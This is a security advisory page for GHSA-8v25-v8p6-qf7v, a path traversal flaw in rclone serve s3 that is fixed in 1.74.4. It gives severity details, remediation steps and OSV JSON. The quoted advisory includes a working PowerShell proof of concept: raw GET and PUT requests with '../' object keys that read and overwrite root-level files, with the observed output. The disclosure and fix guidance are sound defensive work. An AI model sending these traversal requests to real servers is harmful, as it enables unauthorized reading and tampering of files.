GHSA-8v25-v8p6-qf7v: rclone Path Traversal Vulnerability

MODERATE
CVSS 6.5
CWE-22
Published
Advisory Summary

GHSA-8v25-v8p6-qf7v is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting rclone libraries in the Go ecosystem. The issue involves path traversal in serve s3 allows reading and overwriting root-level files. Remediation is available by upgrading affected packages to version 1.74.4.

GHSA-8v25-v8p6-qf7v at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8v25-v8p6-qf7v
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-8v25-v8p6-qf7v

To remediate this vulnerability, upgrade all affected rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.74.4
Upgrade github.com/rclone/rclone to 1.74.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by GHSA-8v25-v8p6-qf7v, inspect your project dependencies for rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.74.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT. ### Details The affected component is rclone serve s3. Relevant source files: cmd/serve/s3/backend.go cmd/serve/s3/multipart.go cmd/serve/s3/list.go In cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join: fp := path.Join(bucketName, objectName) This pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject. S3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory. For example, when rclone serve s3 is serving a root directory that contains: root/ bucket/ root-secret.txt a raw S3 HTTP request to: GET /bucket/../root-secret.txt is parsed as a request for bucket "bucket" and object "../root-secret.txt". The backend then calculates: path.Join("bucket", "../root-secret.txt") == "root-secret.txt" This causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key. The same behavior affects writes. A request such as: PUT /bucket/../root-secret.txt overwrites root-secret.txt in the serve root. This is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects. ### PoC PoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing Test environment: Windows 11 rclone v1.74.3 official Windows binary rclone serve s3 using a local filesystem root No --auth-key configured, so the server allows anonymous access as documented 1. Prepare a test serve root: $base = "$env:TEMP\rclone-serve-s3-poc" $root = "$base\root" Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER" 2. Start rclone serve s3: $rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe" & $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log" 3. In another terminal, send a raw HTTP GET request containing a dot-dot object key: $port = 19087 $req = "GET /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: 0`r`nConnection: close`r`n`r`n" $client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close() 4. Observe that the response contains the root-level file content: HTTP/1.1 200 OK ROOT_LEVEL_SECRET_MARKER 5. Send a raw HTTP PUT request to overwrite the same root-level file: $body = "OVERWRITTEN_BY_DOTDOT" $req = "PUT /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: $($body.Length)`r`nConnection: close`r`n`r`n$body" $client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close() 6. Confirm that the root-level file was overwritten: Get-Content "$root\root-secret.txt" Observed result: OVERWRITTEN_BY_DOTDOT 7. The rclone debug log shows the unsafe normalization: serve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt root-secret.txt: Open: flags=O_RDONLY serve s3: CREATE OBJECT: bucket ../root-secret.txt root-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC Expected result: rclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path. Actual result: rclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root. ### Impact This is a path traversal / improper path normalization vulnerability in rclone serve s3. An attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root. In deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket. The issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server. Suggested fix: Do not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name. Before accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution. Affected version tested: rclone v1.74.3 official Windows binary

GHSA-8v25-v8p6-qf7v Affected rclone Versions

1 component(s)
Fixed Versions:
1.74.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
< 1.74.4
1.74.4

References

Frequently Asked Questions

What is GHSA-8v25-v8p6-qf7v?
GHSA-8v25-v8p6-qf7v is a security vulnerability in rclone involving Path traversal in serve s3 allows reading and overwriting root-level files under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which rclone versions are affected?
Affected versions include releases prior to 1.74.4 across affected packages: github.com/rclone/rclone.
What version fixes GHSA-8v25-v8p6-qf7v?
Upgrading to 1.74.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.74.4. Upgrade your dependency to 1.74.4 or later.
What is the CVSS score of GHSA-8v25-v8p6-qf7v?
GHSA-8v25-v8p6-qf7v has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with GHSA-8v25-v8p6-qf7v?
GHSA-8v25-v8p6-qf7v is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for GHSA-8v25-v8p6-qf7v?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8v25-v8p6-qf7v",
  "modified" : "2026-08-05T20:27:42Z",
  "published" : "2026-08-05T20:27:42Z",
  "aliases" : [ ],
  "summary" : " rclone: Path traversal in serve s3 allows reading and overwriting root-level files",
  "details" : "### Summary\n\nrclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket \"bucket\", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.\n\n### Details\n\nThe affected component is rclone serve s3.\n\nRelevant source files:\n\ncmd/serve/s3/backend.go\ncmd/serve/s3/multipart.go\ncmd/serve/s3/list.go\n\nIn cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:\n\nfp := path.Join(bucketName, objectName)\n\nThis pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.\n\nS3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.\n\nFor example, when rclone serve s3 is serving a root directory that contains:\n\nroot/\n  bucket/\n  root-secret.txt\n\na raw S3 HTTP request to:\n\nGET /bucket/../root-secret.txt\n\nis parsed as a request for bucket \"bucket\" and object \"../root-secret.txt\". The backend then calculates:\n\npath.Join(\"bucket\", \"../root-secret.txt\") == \"root-secret.txt\"\n\nThis causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.\n\nThe same behavior affects writes. A request such as:\n\nPUT /bucket/../root-secret.txt\n\noverwrites root-secret.txt in the serve root.\n\nThis is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.\n\n### PoC\n\nPoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing\n\nTest environment:\n\nWindows 11\nrclone v1.74.3 official Windows binary\nrclone serve s3 using a local filesystem root\nNo --auth-key configured, so the server allows anonymous access as documented\n\n1. Prepare a test serve root:\n\n$base = \"$env:TEMP\\rclone-serve-s3-poc\"\n$root = \"$base\\root\"\n\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force -Path \"$root\\bucket\" | Out-Null\nSet-Content -Encoding ASCII -Path \"$root\\root-secret.txt\" -Value \"ROOT_LEVEL_SECRET_MARKER\"\n\n2. Start rclone serve s3:\n\n$rclone = \"C:\\Users\\fff20\\AppData\\Local\\Temp\\rclone-current-bin\\rclone-v1.74.3-windows-amd64\\rclone.exe\"\n\n& $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file \"$base\\serve-s3.log\"\n\n3. In another terminal, send a raw HTTP GET request containing a dot-dot object key:\n\n$port = 19087\n$req = \"GET /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: 0`r`nConnection: close`r`n`r`n\"\n\n$client = [System.Net.Sockets.TcpClient]::new(\"127.0.0.1\", $port)\n$stream = $client.GetStream()\n$bytes = [Text.Encoding]::ASCII.GetBytes($req)\n$stream.Write($bytes, 0, $bytes.Length)\n$buf = New-Object byte[] 8192\n$read = $stream.Read($buf, 0, $buf.Length)\n[Text.Encoding]::ASCII.GetString($buf, 0, $read)\n$client.Close()\n\n4. Observe that the response contains the root-level file content:\n\nHTTP/1.1 200 OK\n\nROOT_LEVEL_SECRET_MARKER\n\n5. Send a raw HTTP PUT request to overwrite the same root-level file:\n\n$body = \"OVERWRITTEN_BY_DOTDOT\"\n$req = \"PUT /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: $($body.Length)`r`nConnection: close`r`n`r`n$body\"\n\n$client = [System.Net.Sockets.TcpClient]::new(\"127.0.0.1\", $port)\n$stream = $client.GetStream()\n$bytes = [Text.Encoding]::ASCII.GetBytes($req)\n$stream.Write($bytes, 0, $bytes.Length)\n$buf = New-Object byte[] 8192\n$read = $stream.Read($buf, 0, $buf.Length)\n[Text.Encoding]::ASCII.GetString($buf, 0, $read)\n$client.Close()\n\n6. Confirm that the root-level file was overwritten:\n\nGet-Content \"$root\\root-secret.txt\"\n\nObserved result:\n\nOVERWRITTEN_BY_DOTDOT\n\n7. The rclone debug log shows the unsafe normalization:\n\nserve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt\nroot-secret.txt: Open: flags=O_RDONLY\n\nserve s3: CREATE OBJECT: bucket ../root-secret.txt\nroot-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC\n\nExpected result:\n\nrclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path.\n\nActual result:\n\nrclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root.\n\n### Impact\n\nThis is a path traversal / improper path normalization vulnerability in rclone serve s3.\n\nAn attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root.\n\nIn deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket.\n\nThe issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server.\n\nSuggested fix:\n\nDo not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name.\n\nBefore accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution.\n\nAffected version tested:\n\nrclone v1.74.3 official Windows binary",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.74.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.74.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-8v25-v8p6-qf7v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/83d1e62aa9e0dbd10a5d7eb34c117ae997268cdf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/c89b766cf417fddbe7eace40d31262ecb85bfa93"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.74.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-05T20:27:42Z",
    "nvd_published_at" : null
  }
}